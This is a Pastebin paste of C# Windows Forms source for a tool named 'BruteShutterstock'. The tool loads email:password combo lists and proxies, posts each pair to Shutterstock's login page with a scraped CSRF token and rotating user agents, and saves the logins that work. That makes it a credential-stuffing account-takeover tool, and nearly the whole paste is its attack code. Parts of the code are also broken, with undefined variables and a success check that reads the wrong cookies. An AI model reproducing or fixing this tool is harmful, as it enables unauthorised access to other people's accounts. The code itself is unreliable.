Advertisement
Guest User

Untitled

a guest
Nov 6th, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.34 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.IO;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Windows.Forms;
  11. using xNet;
  12. using System.Threading;
  13.  
  14. namespace BruteShutterstock
  15. {
  16. public partial class Form1 : Form
  17. {
  18. Random Rand = new Random();
  19. public static string p1;
  20. public static string p2 ;
  21. public static string p3 ;
  22. public static string[] lines1;
  23. public static string[] lines2;
  24. public static string[] lines3;
  25. static object locker1 = new object();
  26. static object locker = new object();
  27. public Form1()
  28.  
  29. {
  30. InitializeComponent();
  31. }
  32.  
  33. private void button4_Click(object sender, EventArgs e)
  34. {
  35. string p3 = textBox3.Text;
  36. int k = 0, z = 0;
  37. label9.Text = "0";
  38. label12.Text = "0";
  39. string kol = textBox4.Text;
  40. int kol1 = Convert.ToInt32(kol);
  41.  
  42. string[] lines1 = File.ReadAllLines(textBox1.Text);
  43.  
  44.  
  45. int kolthread2 = Convert.ToInt32(textBox5.Text);
  46. CancellationTokenSource cts = new CancellationTokenSource();
  47.  
  48. var opt = new ParallelOptions
  49. {
  50. CancellationToken = cts.Token,
  51. MaxDegreeOfParallelism = kolthread2
  52. };
  53.  
  54.  
  55. Task.Factory.StartNew(() =>
  56. {
  57. if (stop2)
  58. cts.Cancel();
  59. });
  60.  
  61. try
  62. {
  63. Parallel.ForEach(lines1, opt, registr => { registr(i); opt.CancellationToken.ThrowIfCancellationRequested(); });
  64. }
  65. catch
  66. {
  67.  
  68. }
  69. finally
  70. {
  71. cts.Dispose();
  72. }
  73.  
  74.  
  75. }
  76.  
  77.  
  78. private void button1_Click(object sender, EventArgs e)
  79. {
  80. OpenFileDialog ofd = new OpenFileDialog();
  81. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  82. {
  83. FileInfo fi = new FileInfo(ofd.FileName);
  84. string path = ofd.FileName;
  85. textBox1.Text = path;
  86. listBox1.Items.Clear();
  87. string[] lines1 = File.ReadAllLines(textBox1.Text);
  88. label7.Text="База:"+lines1.Length;
  89.  
  90. }
  91. }
  92. void Goodi(string message)
  93. {
  94. if (label9.InvokeRequired)
  95. {
  96. label9.BeginInvoke(new Action<string>((s)
  97. => label9.Text = Convert.ToString(Convert.ToInt32(label9.Text) + 1)), message);
  98. }
  99. else
  100. {
  101. label9.Text = Convert.ToString(Convert.ToInt32(label9.Text) + 1);
  102. }
  103. }
  104. void Badi(string message)
  105. {
  106. if (label12.InvokeRequired)
  107. {
  108. label12.BeginInvoke(new Action<string>((s)
  109. => label12.Text = Convert.ToString(Convert.ToInt32(label12.Text) + 1)), message);
  110. }
  111. else
  112. {
  113. label9.Text = Convert.ToString(Convert.ToInt32(label12.Text) + 1);
  114. }
  115. }
  116.  
  117.  
  118. private void button2_Click(object sender, EventArgs e)
  119. {
  120. OpenFileDialog ofd = new OpenFileDialog();
  121. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  122. {
  123. FileInfo fi = new FileInfo(ofd.FileName);
  124.  
  125. string path = ofd.FileName;
  126. textBox2.Text = path;
  127. string[] lines2 = File.ReadAllLines(textBox2.Text);
  128. label8.Text = "Кол-во проксей : " + lines2.Length;
  129. }
  130. }
  131. private void button3_Click(object sender, EventArgs e)
  132. {
  133.  
  134. OpenFileDialog ofd = new OpenFileDialog();
  135. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  136. {
  137. FileInfo fi = new FileInfo(ofd.FileName);
  138.  
  139. string path = ofd.FileName;
  140. textBox3.Text=path ;
  141. p3 = textBox3.Text;
  142. }
  143. }
  144.  
  145.  
  146.  
  147. public string login1(string basa)
  148. {
  149. string[] strs = basa.Split(':');
  150. string login = strs[0];
  151. return login;
  152. }
  153.  
  154. public string password(string basa)
  155. {
  156. string[] strs = basa.Split(':');
  157. string password = strs[1];
  158. return password;
  159. }
  160. public string domain(string basa)
  161. {
  162. string ps = login1(basa);
  163. string[] strs = ps.Split('@');
  164. string login = strs[1];
  165. return login;
  166. }
  167. public string user(string basa)
  168. {
  169. string ps = login1(basa);
  170. string[] strs = ps.Split('@');
  171. string login = strs[0];
  172. return login;
  173. }
  174.  
  175.  
  176.  
  177. public void registr(object c)
  178. {
  179. int i = (int)c;
  180. if (i < lines1.Length)
  181. {
  182.  
  183.  
  184. using (var request = new HttpRequest())
  185. {
  186. var useragenT = Http.OperaUserAgent();
  187. int ran = Rand.Next(0, lines2.Length);
  188. request.Proxy = HttpProxyClient.Parse(lines2[ran]);
  189.  
  190. var useraGENT = Http.ChromeUserAgent();
  191.  
  192. request.UserAgent = useraGENT;
  193. request.AddHeader("Upgrade-Insecure-Requests", "1");
  194. var result = request.Get("https://accounts.shutterstock.com/login");
  195.  
  196. var cookies = result.Cookies;
  197.  
  198. var csrf = "";
  199. foreach (var m in cookies)
  200. if (m.Key == "did")
  201. csrf = m.Value;
  202. result = request.Get("https://accounts.shutterstock.com/login");
  203.  
  204. request.UserAgent = useraGENT;
  205. request.Cookies = cookies;
  206.  
  207. string data = "_csrf=" + csrf + "&next=%2F&username=" + user(lines1[i]) + "%40" + domain(lines1[i]) + "&password=" + password(lines1[i]) + "&login=";
  208.  
  209.  
  210. result = request.Post("https://accounts.shutterstock.com/login?next=%2F", data, "application/x-www-form-urlencoded");
  211. var cookiesi = result.Cookies;
  212. var ce = "";
  213. foreach (var m in cookies)
  214. if (m.Key == "proof")
  215. ce = m.Value;
  216.  
  217.  
  218. if (ce != "")
  219. {
  220. lock (locker)
  221. {
  222. Goodi("");
  223. using (StreamWriter sw = File.AppendText(p3))
  224. {
  225. sw.WriteLine(lines1[i]);
  226. }
  227. }
  228. }
  229. else
  230. {
  231. lock (locker1)
  232. {
  233. Badi("");
  234.  
  235. }
  236.  
  237. }
  238.  
  239. }
  240. }
  241. }
  242.  
  243.  
  244. }
  245. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement